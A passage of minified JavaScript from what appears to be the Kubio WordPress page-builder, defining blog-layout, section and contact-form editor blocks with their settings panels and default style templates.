0:s.withChildren();function u(e){let t=null;return((null==s?void 0:s.withChildren())||[]).forEach((o=>{o.getProp(vi)===e&&(t=o)})),t}Ti(s);const c=u(fi),p=u(_i),[d,m]=(0,Me.useState)(c&&!p?t.NO_SIDEBAR:function(){const e=je().get(l,0);return(null==e?void 0:e.getProp(vi))===fi}()?t.SIDEBAR_RIGHT:t.SIDEBAR_LEFT);function h(){const e=ki.queryColumnSizes;s.setProp("layout.equalWidth",!1),je().each(e,((e,t)=>{c.setStyle("columnWidth",e,{styledComponent:"container",local:!0,media:t})}))}const b=(0,Ne.useGroupDispatch)();return{value:d,options:ki.queryLayout.options,onChange:e=>{b((()=>(m(e),async function(e){switch(d){case t.SIDEBAR_LEFT:case t.SIDEBAR_RIGHT:e===t.NO_SIDEBAR?async function(){const e=s.clientId,t=i(e).filter((e=>(null==e?void 0:e.clientId)!==p.clientId));await n(e,t),h()}():function(e,n){const a=s.clientId;e===t.SIDEBAR_LEFT&&n===t.SIDEBAR_RIGHT&&o([p.clientId],a,!0),e===t.SIDEBAR_RIGHT&&n===t.SIDEBAR_LEFT&&o([c.clientId],a,!0)}(e,d);break;case t.NO_SIDEBAR:await async function(e){const o=s.clientId,r=Ci(a),[l,u,c]=r,p=(0,gt.createBlock)(l,u,(0,Ne.convertTemplateFormatToBlock)(c)),d=(0,Ze.kubioCloneDeep)(i(o)),m=e===t.SIDEBAR_LEFT?0:1;d.splice(m,0,p),await n(o,d),h()}(e)}}(e))))}}};function Ti(e){(0,Me.useEffect)((()=>{"all"===e.getAttribute("templateLock")&&e.silent((()=>e.setAttribute("templateLock","insert")))}),[])}const Si=(0,Ne.withComputedData)((e=>({rowDataHelper:je().get(e.withChildren(),"0"),layout:Ei(e)})))((({computed:e})=>{const{layout:t,rowDataHelper:o}=e;return Ti(o),(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(ut.SelectWithIconControl,{label:(0,We.__)("Layout","kubio"),...t})})})),wi=(0,De.compose)([(0,Ne.withComputedData)((e=>{var t;const o=e.useStylePath("customHeight",{styledComponent:ha});return{showContentPosition:!!o.value&&(null==o||null===(t=o.value)||void 0===t?void 0:t.type)!==jn.HeightTypesEnum.FIT_TO_CONTENT,heightProps:o}}))])((({computed:e})=>{const{heightProps:t,showContentPosition:o}=e;return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Layout structure","kubio"),children:[(0,Je.jsx)(Si,{}),(0,Je.jsx)(ut.SelectControlWithPath,{options:fa,label:(0,We.__)("Container width","kubio"),type:Ne.WithDataPathTypes.PROP,path:"width"}),(0,Je.jsx)(ut.CustomHeightControl,{label:(0,We.__)("Container height","kubio"),...t}),o&&(0,Je.jsx)(ut.VerticalAlignControlWithPath,{label:(0,We.__)("Content position","kubio"),path:"verticalAlign",type:Ne.WithDataPathTypes.PROP})]})})),Pi=(0,Ne.withComputedData)((e=>{const{globalStyle:t}=(0,bt.useGlobalDataStyle)(),o={styledComponent:"sectionSpacing"};return{globalTopSpacing:t.getStyle("padding.top",{},o),globalBottomSpacing:t.getStyle("padding.bottom",{},o)}}))((({computed:e}={})=>{const{globalTopSpacing:t,globalBottomSpacing:o}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Spacing","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Top spacing","kubio"),path:"padding.top",max:200,defaultValue:t,style:ha,type:"style"}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Bottom spacing","kubio"),path:"padding.bottom",max:200,defaultValue:o,style:ha,type:"style"})]})})),Ai=()=>(0,Je.jsxs)(Oe.ContentInspectorControls,{children:[(0,Je.jsx)(wi,{}),(0,Je.jsx)(Pi,{})]}),ji=e=>(0,Je.jsx)(ut.KubioPanelBody,{title:(0,We.__)("Dividers","kubio"),initialOpen:!1,children:(0,Je.jsx)(ut.DividersControlWithPath,{style:ha,type:Ne.WithDataPathTypes.STYLE,path:"separators"})}),Bi=()=>{const e=je().get(ga,ha);return(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(ut.BackgroundSection,{styledElement:e}),(0,Je.jsx)(ji,{})]})},Ni=(0,De.compose)([])((0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Ai,{}),(0,Je.jsx)(Bi,{}),(0,Je.jsx)(bi,{...e})]})}))),Oi={};je().set(Oi,vi,fi);const Ri=(0,Ne.composeBlockWithStyle)(hn.LOOP,{}),Di=(0,Ne.composeBlockWithStyle)(hn.QUERY,{attributes:{useMainQuery:!0}},[Ri]),Li=oa({_style:ia({},sa(),ra(100)),props:Oi},[Di]),Mi=[Jn({props:{layout:{equalWidth:!1}},attributes:{templateLock:"all"}},[Li,Ii])],Wi=[{name:"default",isDefault:!0,title:(0,We.__)("Blog layout","kubio"),description:(0,We.__)("This block allows you to add the posts list together with a sidebar to a page. You can delete the sidebar, or place it to the left or right of the posts.","kubio"),attributes:{},innerBlocks:[["kubio/row",{kubio:{id:"iwj0nev3een",style:{},props:{layout:{equalWidth:!1}},_props:{},_style:{}},templateLock:"insert"},[["kubio/column",{kubio:{id:"LSEqtRcje5n",style:{},props:{internal:{queryLayout:{type:"query"}}},_props:{},_style:{descendants:{container:{columnWidth:{type:"flexgrow",custom:{value:"",unit:"%"}},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}},tablet:{}}}}}}},[["kubio/query",{queryId:2,useMainQuery:!0,query:{perPage:10,pages:1,offset:0,postType:"post",order:"desc",orderBy:"date",search:"",exclude:[5],sticky:""},kubio:{}},[["kubio/query-loop",{kubio:{id:"_hhkgSES9",props:{layout:{equalWidth:!0,equalHeight:!0,itemsPerRow:2,horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{horizontalGap:2}}}},hash:"5309127c"},masonry:!0,notFound:"No {post_title} found!"},[["kubio/query-loop-item",{kubio:{id:"Xx32xHniG",style:{descendants:{inner:{boxShadow:{enabled:!1,layers:[{color:"rgba(0, 0, 0, 0.3)",blur:"6",spread:"0",x:"0",y:"3",inset:""}]},border:{right:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}},left:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}}},textAlign:"left",background:{color:"rgba(var(--kubio-color-5),1)"}}}},props:{layout:{horizontalInnerGap:3,verticalInnerGap:3}},hash:"0792a54c"},slug:"default",label:"Default"},[["kubio/post-featured-image",{kubio:{id:"g1cYONRpGR",style:{descendants:{container:{border:{top:{radius:{left:{value:0,unit:"px"},right:{value:0,unit:"px"}}},bottom:{radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}}},background:{color:"rgba(var(--kubio-color-5-variant-2),1)"}},image:{object:{position:"top center"}}}},hash:"8b8dc586",props:{aspectRatio:"4-3"}},showPlaceholder:!0,imageSize:"cover",addLink:!0},[]],["kubio/row",{kubio:{id:"PuWavpDZrv",props:{layout:{itemsPerRow:3,equalWidth:!1,equalHeight:!0,horizontalGap:0,verticalGap:0,horizontalInnerGap:0,verticalInnerGap:0,horizontalAlign:"start"}},hash:"23c17f54",style:{descendants:{container:{margin:{bottom:{value:4,unit:"px"}}}}}}},[["kubio/column",{kubio:{id:"q4qXv_V8VQ",style:{descendants:{inner:{textAlign:"left"}}},props:{layout:{verticalAlign:"center",horizontalInnerGap:0,verticalInnerGap:0}},_style:{descendants:{container:{media:{tablet:{columnWidth:{type:"fitToContent",custom:{value:33.33,unit:"%"}}},mobile:{columnWidth:{type:"fitToContent",custom:{value:100,unit:"%"}}}},columnWidth:{type:"fitToContent",custom:{value:33.33,unit:"%"}}}}},hash:"25df40a7"}},[["kubio/post-categories",{kubio:{id:"RNKAhaHrl1",hash:"1b762a4e",style:{descendants:{link:{typography:{size:{value:13,unit:"px"},transform:"",color:"rgba(var(--kubio-color-1),1)"},states:{hover:{typography:{color:"rgba(var(--kubio-color-1-variant-4),1)"}}}},placeholder:{typography:{size:{value:13,unit:"px"},transform:"",letterSpacing:{value:"",unit:"px"},weight:400,color:"rgba(var(--kubio-color-5-variant-5),1)"},padding:{right:{value:10,unit:"px"}}},separator:{padding:{right:{value:10,unit:"px"}}}}}},separator:"|",placeholder:"No category "},[]]]],["kubio/column",{kubio:{id:"AeNoy-KXLu",props:{layout:{verticalAlign:"center",horizontalInnerGap:1,verticalInnerGap:0}},_style:{descendants:{container:{columnWidth:{type:"fitToContent",custom:{value:"",unit:"%"}},media:{mobile:{columnWidth:{type:"fitToContent",custom:{value:100,unit:"%"}}}}}}},hash:"0c072730",style:{descendants:{inner:{padding:{left:{value:0,unit:"px"}}}}}}},[["kubio/icon",{kubio:{id:"NE5ef6k0TU",props:{horizontalAlign:"center"},style:{descendants:{inner:{fill:"rgba(var(--kubio-color-6),1)",width:{value:6,unit:"px"},height:{value:6,unit:"px"},states:{hover:{background:{color:"rgba(45, 45, 134, 0)"},fill:"rgba(var(--kubio-color-1),1)"}},border:{top:{width:{value:"1",unit:"px"},color:"rgb(125, 79, 79)"},right:{width:{value:"1",unit:"px"},color:"rgb(125, 79, 79)"},bottom:{width:{value:"1",unit:"px"},color:"rgb(125, 79, 79)"},left:{width:{value:"1",unit:"px"},color:"rgb(125, 79, 79)"}}}}},hash:"7c4f1463"},link:{value:"",typeOpenLink:"sameWindow",noFollow:!1,lightboxMedia:""},name:"font-awesome/circle"},[]]]],["kubio/column",{kubio:{id:"AWwRj8w3Vy",props:{layout:{verticalAlign:"center"}},_style:{descendants:{container:{media:{tablet:{columnWidth:{type:"fitToContent",custom:{value:33.33,unit:"%"}}},mobile:{columnWidth:{type:"fitToContent",custom:{value:100,unit:"%"}}}},columnWidth:{type:"fitToContent",custom:{value:33.33,unit:"%"}}}}},hash:"3bd917a8"}},[["kubio/post-meta",{kubio:{id:"HIQgHOFXS0",hash:"767b4358",style:{descendants:{metaDataLinks:{typography:{color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:13,unit:"px"}}}}}},separator:"-",showIcons:!1,dateFormat:"F j, Y",metadata:[{value:"author",name:"Author",check:!1,icon:"icons8-line-awesome/user",id:0,prefix:"",suffix:""},{value:"date",name:"Date",check:!0,icon:"icons8-line-awesome/calendar",id:1,prefix:"",suffix:""},{value:"time",name:"Time",check:!1,icon:"icons8-line-awesome/clock-o",id:2,prefix:"",suffix:""},{value:"comments",name:"Comments",check:!1,icon:"icons8-line-awesome/comments",id:3,prefix:"",suffix:""}]},[]]]]]],["kubio/post-title",{kubio:{id:"KD7Uy-41bO",style:{descendants:{container:{textAlign:"left"}}},hash:"181b09b0"},headingType:"h4"},[]],["kubio/post-excerpt",{kubio:{id:"a3BbbcKmXS",style:{descendants:{text:{typography:{family:"Mulish",weight:400}}}},hash:"8e948fac"},content:"",dropCap:!1,wordCount:18},[]],["kubio/divider",{kubio:{id:"qtSV0ZxZUW",props:{type:"line"},style:{descendants:{line:{width:{value:100,unit:"%"},border:{top:{style:"solid"},left:{style:"solid"},right:{style:"solid"},bottom:{width:{value:1,unit:"px"},color:"rgba(var(--kubio-color-6),0.2)",style:"solid"}}},outer:{padding:{bottom:{value:"10",unit:"px"},top:{value:"10",unit:"px"}}},inner:{fill:"rgba(var(--kubio-color-1),1)",width:{value:50,unit:"px"},height:{value:50,unit:"px"},margin:{left:{value:"10",unit:"px"},right:{value:"10",unit:"px"}}}}},hash:"795e62cc"},iconName:"font-awesome/star"},[]]]]]],["kubio/query-pagination",{kubio:{id:"2Bmjjko-v",props:{layout:{equalWidth:!1,verticalAlign:"center",horizontalAlign:"center",horizontalGap:0},media:{tablet:{layout:{horizontalGap:2}}}},hash:"09d9e194"}},[["kubio/column",{kubio:{id:"yEw7knvl5",_style:{descendants:{container:{columnWidth:{type:"fitToContent"},media:{mobile:{columnWidth:{type:"fitToContent",custom:{value:100,unit:"%"}}}}}}},style:{descendants:{container:{textAlign:"left"}}},props:{layout:{verticalAlign:"center",horizontalInnerGap:0}},hash:"053fa70e"}},[["kubio/pagination-nav-button",{kubio:{id:"Cs42TiEkx",props:{showIcon:!1,iconPosition:"before",buttonSize:"medium",buttonWidth:"fitToContent"},style:{descendants:{icon:{margin:{right:{value:10,unit:"px"},left:{value:0,unit:"px"}},size:{unit:"px",value:"12"}},link:{typography:{color:"rgba(var(--kubio-color-6-variant-4),1)",size:{unit:"px",value:14},weight:"600",transform:"",lineHeight:{value:"1",unit:""},letterSpacing:{value:"1",unit:"px"}},states:{hover:{border:{top:{color:"rgba(var(--kubio-color-6-variant-4),1)"},bottom:{color:"rgba(var(--kubio-color-6-variant-4),1)"},left:{color:"rgba(var(--kubio-color-6-variant-4),1)"},right:{color:"rgba(var(--kubio-color-6-variant-4),1)"}}}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"24"},right:{unit:"px",value:"24"}},border:{top:{radius:{left:{value:0,unit:"px"},right:{value:0,unit:"px"}},color:"rgba(var(--kubio-color-6),0.2)",style:"solid",width:{value:1,unit:"px"}},bottom:{radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}},color:"rgba(var(--kubio-color-6),0.2)",style:"solid",width:{value:1,unit:"px"}},left:{color:"rgba(var(--kubio-color-6),0.2)",style:"solid",width:{value:1,unit:"px"}},right:{color:"rgba(var(--kubio-color-6),0.2)",style:"solid",width:{value:1,unit:"px"}}}}}},hash:"7a270264"},text:"Previous",icon:{name:"ionicons/ios-arrow-left"},action:"prev"},[]]]],["kubio/column",{kubio:{id:"EnvaR_1rs",style:{descendants:{container:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"flexgrow"},media:{mobile:{columnWidth:{type:"flexgrow",custom:{value:100,unit:"%"}}}}}}},hash:"01a62b68"}},[["kubio/pagination-numbers",{kubio:{id:"ExYZYF5nj",hash:"583da335",style:{descendants:{numbers:{typography:{color:"rgba(var(--kubio-color-6-variant-4),1)"},background:{color:"rgba(var(--kubio-color-5),0)"},states:{hover:{typography:{color:"rgba(var(--kubio-color-1),1)"}}},padding:{top:{value:6,unit:"px"},bottom:{value:6,unit:"px"},left:{value:12,unit:"px"},right:{value:12,unit:"px"}},border:{top:{radius:{left:{value:3,unit:"px"},right:{value:3,unit:"px"}}},bottom:{radius:{right:{value:3,unit:"px"},left:{value:3,unit:"px"}}}}},general:{padding:{left:{value:2,unit:"px"},right:{value:2,unit:"px"}},typography:{transform:"",weight:400}},current:{background:{color:"rgba(var(--kubio-color-5),0)"},typography:{color:"rgba(var(--kubio-color-1),1)"},padding:{top:{value:6,unit:"px"},bottom:{value:6,unit:"px"},left:{value:12,unit:"px"},right:{value:12,unit:"px"}},border:{top:{radius:{left:{value:0,unit:"px"},right:{value:0,unit:"px"}}},bottom:{radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}}},states:{hover:{border:{top:{color:"rgba(var(--kubio-color-1),1)"},right:{color:"rgba(var(--kubio-color-1),1)"},bottom:{color:"rgba(var(--kubio-color-1),1)"},left:{color:"rgba(var(--kubio-color-1),1)"}}}}},outer:{textAlign:"center"},dots:{typography:{weight:300}}}}}},[]]]],["kubio/column",{kubio:{id:"6pgoLrKo1",_style:{descendants:{container:{columnWidth:{type:"fitToContent"},media:{mobile:{columnWidth:{type:"fitToContent",custom:{value:100,unit:"%"}}}}}}},style:{descendants:{container:{textAlign:"right"}}},props:{layout:{verticalAlign:"center",horizontalInnerGap:0}},hash:"bd9e35d0"}},[["kubio/pagination-nav-button",{kubio:{id:"FVsNrcWEk",props:{showIcon:!1,iconPosition:"after",buttonSize:"medium",buttonWidth:"fitToContent"},style:{descendants:{icon:{margin:{right:{value:0,unit:"px"}},size:{unit:"px",value:"12"}},link:{typography:{color:"rgba(var(--kubio-color-6-variant-4),1)",size:{unit:"px",value:14},weight:600,transform:"",lineHeight:{value:"1",unit:""},letterSpacing:{value:"1",unit:"px"}},states:{hover:{border:{top:{color:"rgba(var(--kubio-color-6-variant-4),1)"},bottom:{color:"rgba(var(--kubio-color-6-variant-4),1)"},left:{color:"rgba(var(--kubio-color-6-variant-4),1)"},right:{color:"rgba(var(--kubio-color-6-variant-4),1)"}}}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"24"},right:{unit:"px",value:"24"}},border:{top:{style:"solid",width:{value:1,unit:"px"},radius:{left:{value:0,unit:"px"},right:{value:0,unit:"px"}},color:"rgba(var(--kubio-color-6),0.2)"},right:{style:"solid",width:{value:1,unit:"px"},color:"rgba(var(--kubio-color-6),0.2)"},bottom:{style:"solid",width:{value:1,unit:"px"},radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}},color:"rgba(var(--kubio-color-6),0.2)"},left:{style:"solid",width:{value:1,unit:"px"},color:"rgba(var(--kubio-color-6),0.2)"}}}}},hash:"ed9ed6f8"},text:"Next",icon:{name:"ionicons/ios-arrow-right"},action:"next"},[]]]]]]]]]],["kubio/column",{kubio:{id:"RhZw9xa-781",style:{},props:{internal:{queryLayout:{type:"sidebar"}}},_props:{},_style:{descendants:{container:{columnWidth:{type:"custom",custom:{value:25,unit:"%"}},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}},tablet:{columnWidth:{type:"custom",custom:{value:33,unit:"%"}}}}}}}}},[["kubio/sidebar",{slug:null,kubio:{id:"461iWpMuGOE",style:{},_props:{},_style:{}},tagName:"div"},[]]]]]]]}];(0,Pe.addFilter)("kubio.beforeInsertBlock",hn.QUERY_LAYOUT,((e,t={})=>{if((null==e?void 0:e.name)!==hn.QUERY_LAYOUT)return e;const o=(0,We.__)("Blog Layout","kubio"),{anchor:n,name:a}=(0,Ze.getNextSectionNameAndId)(o,t);return e.initialAttributes.anchor=n,e.initialAttributes.attrs={name:a},e}));const Hi={name:"kubio/query-layout",category:"kubio-blog-components"},Gi=je().merge({},{name:"kubio/section",title:"Section",category:"kubio-layout",attributes:{kubio:{type:"object"},attrs:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["d-flex","h-section-global-spacing"]},supports:{background:!0,separator:!0}},inner:{props:{className:["h-section-grid-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{style:{customHeight:{type:"fit-to-content"}},props:{width:"boxed",verticalAlign:"center"}}}}},Hi),Ui=(0,Sn.extendBlockMeta)(Gi,{title:(0,We.__)("Blog layout","kubio"),icon:Tn.BlockIcons.BlogLayout,keywords:[],apiVersion:2,supports:{kubio:{elementsByName:ga},anchor:!0,reusable:!1,html:!1,multiple:!1},variations:Wi,edit:Ni,save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})}}),Fi=e=>{var t;if(!e)return;const{metadata:o,settings:n}=e,{name:a}=o;void 0===(null==n||null===(t=n.supports)||void 0===t?void 0:t.html)&&(0,Ae.set)(n,"supports.html",!1),n.variations&&n.variations.map((e=>(0,Ze.normalizeVariation)(e))),o&&(0,gt.unstable__bootstrapServerSideBlockDefinitions)({[a]:o}),(0,Ae.isFunction)(n.edit)&&(n.edit.displayName=`@BlockEdit:${a}`),je().isEmpty(null==n?void 0:n.parent)&&(n.parent=void 0),(0,gt.registerBlockType)(a,n)},zi={},Vi=(e,t=!1)=>{if(!t&&!window.isKubioBlockEditor)return;const o=e.metadata.name;(0,Pe.addFilter)("blocks.registerBlockType",`kubio/replace-lock/${o}`,((t,n)=>(n!==o||zi[o]||(zi[o]=!0,setTimeout((()=>{(0,gt.unregisterBlockType)(o),Fi(e)}))),t)))},Yi={forms:{},loading:!0,errors:!1},$i={},Ki={forminator:(0,We.__)("Forminator","kubio"),contactForm7:(0,We.__)("Contact Form 7","kubio"),wpForms:(0,We.__)("WPForms","kubio")},qi="kubio/block-library/contact-form",{useFormApi:Xi}=(({storeKey:e,shortcodeTagByType:t,labelsByType:o,apiPath:n})=>((0,Le.registerStore)(e,{reducer:(e=Yi,t)=>({...e,[t.type]:t.value}),actions:{setForms:e=>({type:"forms",value:e}),setLoading:e=>({type:"loading",value:e}),setErrors:e=>({type:"errors",value:e})},selectors:{getForms:e=>e.forms,getLoading:e=>e.loading,getErrors:e=>e.errors,getFormOptions:e=>{const n=e.forms;return Object.keys(n).map((e=>{const a=(0,Ae.get)(n,e,[]).map((e=>({...e,value:String(e.value)})));return{label:(0,Ae.get)(o,e,e),items:a,value:(0,Ae.get)(t,e,e)}}))}}}),{useFormApi:()=>{const{getForms:t,getLoading:o,getErrors:a,getFormOptions:i}=(0,Le.useSelect)((t=>t(e))),{setForms:r,setLoading:s,setErrors:l}=(0,Le.useDispatch)(e),u=()=>{$i[e]||($i[e]=!0,s(!0),(async()=>pt()({path:(0,Nt.addQueryArgs)(n)}))().then((t=>{r(t),s(!1),$i[e]=!1})).catch((t=>{var o;r({}),o=t,console.group((0,We.__)("Contact Form Api Errors","kubio")),console.error(o),console.groupEnd(),l(t),s(!1),$i[e]=!1})))};return{init:(0,Ae.once)((()=>{u()})),getForms:t,getFormOptions:i,retrieve:u,isLoading:()=>o(),getErrors:a}}}))({storeKey:qi,shortcodeTagByType:{forminator:"forminator_form",wpForms:"wpforms",contactForm7:"contact-form-7"},labelsByType:Ki,apiPath:"/kubio/v1/contact-form/forms_by_type"}),Qi=()=>{const{init:e}=Xi();return(0,Me.useEffect)((()=>{e()}),[]),(0,Je.jsx)(Je.Fragment,{})},Zi="meta.isHeader",Ji=(0,De.compose)([(0,Ne.withComputedData)((e=>{var t;const o=e.withChildren(),{insertBlock:n,removeBlock:a}=(0,Le.useDispatch)("core/block-editor"),i=e.useStylePath("customHeight",{styledComponent:ha}),r=(e=>je().find(e,(e=>{if(e.getProp(Zi))return!0})))(o),s={value:!!r,onChange:t=>{if(t){const t=(()=>{const e=(0,Ne.createBlockWithDataHelper)(hn.ROW,(e=>{e.setProp(Zi,!0),e.setProp("layout",{itemsPerRow:1,equalWidth:!1,equalHeight:!0})})),t=(0,Ne.createBlockWithDataHelper)(hn.COLUMN,(e=>{e.setLocalStyle("columnWidth",{type:"custom",custom:{value:80,unit:"%"}},{styledComponent:"container"})})),o=(0,Ne.createBlockWithDataHelper)("kubio/heading",(e=>{e.setProp("level",2)})),n=(0,Ne.createBlockWithDataHelper)("kubio/text",(e=>{e.setAttribute("content",(0,We.__)("And the subtitle is better","kubio"))}));return t.innerBlocks=[o,n],e.innerBlocks=[t],e})();n(t,0,null==e?void 0:e.clientId,!1)}else a(r.clientId)}},l={value:Math.abs(e.getStyle("margin.top.value",{},{styledComponent:ba})),onChange:t=>{e.setStyle("margin.top.value",-t,{styledComponent:ba})},onReset:()=>{e.setStyle("margin.top.value",-150,{styledComponent:ba})}};return{isOverlapped:!(null==l||!l.value),showContentPosition:!!i.value&&(null==i||null===(t=i.value)||void 0===t?void 0:t.type)!==jn.HeightTypesEnum.FIT_TO_CONTENT,overlapProps:l,heightProps:i,sectionHeader:s}}))])((({computed:e})=>{const{heightProps:t,sectionHeader:o,showContentPosition:n,overlapProps:a,isOverlapped:i}=e;return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Layout structure","kubio"),className:"kubio-section-layout-panel",children:[(0,Je.jsx)(ut.SelectControlWithPath,{options:fa,label:(0,We.__)("Container width","kubio"),type:"prop",path:"width"}),(0,Je.jsx)(ut.CustomHeightControl,{label:(0,We.__)("Container height","kubio"),...t}),n&&(0,Je.jsx)(ut.VerticalAlignControlWithPath,{label:(0,We.__)("Content position","kubio"),path:"verticalAlign",type:"prop"}),(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Enable section header","kubio"),...o}),(0,Je.jsx)(ut.PopoverOptionsButton,{label:(0,We.__)("Overlap previous section","kubio"),toggable:!0,onToggleChange:e=>null==a?void 0:a.onChange(e?150:0),enabled:i,popoverWidth:300,popupContent:(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.RangeControl,{...a,min:0,max:200,label:(0,We.__)("Overlap height","kubio")}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Depth (z-index)","kubio"),type:Ne.WithDataPathTypes.INNER,path:"z-index",min:0,numeric:!0,inline:!0,allowReset:!0,className:"column-depth-control"})]})})]})})),er=()=>(0,Je.jsxs)(Oe.ContentInspectorControls,{children:[(0,Je.jsx)(Ji,{}),(0,Je.jsx)(Pi,{})]}),tr=(0,De.compose)([])((0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(er,{}),(0,Je.jsx)(Bi,{}),(0,Je.jsx)(hi,{...e})]})}))),or=(0,We.__)("Add a website section to your page. Add or remove columns, and stylize them til pixel-perfect.","kubio");(0,Pe.addFilter)("kubio.beforeInsertBlock",hn.SECTION,((e,t={})=>{if((null==e?void 0:e.name)===hn.NAVIGATION||(null==e?void 0:e.name)===hn.HERO){const o=hn.NAVIGATION?(0,We.__)("Navigation","kubio"):(0,We.__)("Hero","kubio"),n=e.title?e.title:o,{anchor:a,name:i}=(0,Ze.getNextSectionNameAndId)(n,t);e.initialAttributes.anchor=a,e.initialAttributes.attrs={name:i}}return e}));const nr=$n.CHANGE_BACKGROUND,ar={...$n.EDIT_LAYOUT,label:(0,We.__)("Change layout","kubio")},ir=[[$n.CHANGE_IMAGE_VIDEO,nr,ar],...Xe];(0,Pe.addFilter)("kubio.rightClickMenu.menuItems",hn.SECTION,((e,t)=>t===hn.SECTION?ir:e));const rr={name:"kubio/section",title:"Section",category:"kubio-layout",attributes:{kubio:{type:"object"},attrs:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["d-flex","h-section-global-spacing"]},supports:{background:!0,separator:!0}},inner:{props:{className:["h-section-grid-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{style:{customHeight:{type:"fit-to-content"}},props:{width:"boxed",verticalAlign:"center"}}}}},sr=(0,Sn.extendBlockMeta)(rr,{title:(0,We.__)("Section","kubio"),icon:Tn.BlockIcons.Section,parent:["core/post-content","core/template-part",hn.HEADER,hn.FOOTER],keywords:[(0,We.__)("Section","kubio")],apiVersion:2,supports:{kubio:{elementsByName:ga},reusable:!1,html:!1},edit:tr,save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})},variationsFilter:e=>null!=e&&e.isDefault?{...e,description:or,innerBlocks:[]}:e,kubioDuplicateMapper:e=>{const t=(0,Ze.refreshBlockStyleRefs)(e),o=(0,Ae.get)(e,"attributes.attrs.name",null),n=(0,Ae.get)(e,"attributes.anchor",null);return o&&(0,Ae.set)(t,"attributes.attrs.name",// translators: %s - the name of a section // translators: %s - the name of a section (0,We.sprintf)((0,We.__)("%s Duplicate","kubio"),o)),n&&(0,Ae.set)(t,"attributes.anchor",`${n}-duplicate`),t},innerBlocksDisableInBetweenInserter:!0}),lr={CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},ur={[lr.CONTAINER]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SEPARATORS,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER_ADVANCED,jn.StylesEnum.TRANSFORM,jn.StylesEnum.TRANSITION],states:jn.StatesPresetsEnum.BASIC,filters:ut.BackgroundUiUtils.FiltersPreset.CONTAINER}}},cr=({afterBackgroundSection:e=null})=>{const t=je().get(ur,lr.CONTAINER);return(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(ut.BackgroundSection,{styledElement:t}),e]})},pr="inner",dr="container",mr="v-space",hr="align",br={[pr]:{label:(0,We.__)("Inner","kubio"),supports:{styles:[jn.StylesEnum.TRANSITION].concat(jn.StylesPresetsEnum.CONTAINERS),states:jn.StatesPresetsEnum.BASIC,filters:{...ut.BackgroundUiUtils.FiltersPreset.CONTAINER,transition:{manuallyEnabled:!0}}}},[dr]:{label:(0,We.__)("Container","kubio"),internal:!0,supports:{styles:[jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC}},[hr]:{label:(0,We.__)("Align","kubio"),internal:!0,supports:{styles:jn.StylesPresetsEnum.ALL,states:jn.StatesPresetsEnum.BASIC}},[mr]:{internal:!0}},gr=(0,De.compose)([(0,Ne.withComputedData)((e=>{const t=(0,Ne.useGroupDispatch)();return{equalWidth:{value:e.getProp("layout.equalWidth"),onChange:o=>{const n=ua(e.getPropByMedia("layout"),o);t((async()=>{e.withChildren().forEach((e=>{Object.keys(n).forEach((t=>{const o=n[t];(0,Ne.silentDispatch)((()=>{e.setLocalStyle("columnWidth",o,{styledComponent:dr,media:t,skipSharedStyle:!0})}),!0)}))})),e.setProp("layout.equalWidth",o)}),!0)}}}}))])((({computed:e,onlyEqualWidth:t=!1,supportsEqualHeightColumns:o=!0,afterLayoutAndSpacing:n})=>(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Layout","kubio"),children:[!t&&(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Equal width columns","kubio"),...null==e?void 0:e.equalWidth}),((null==e?void 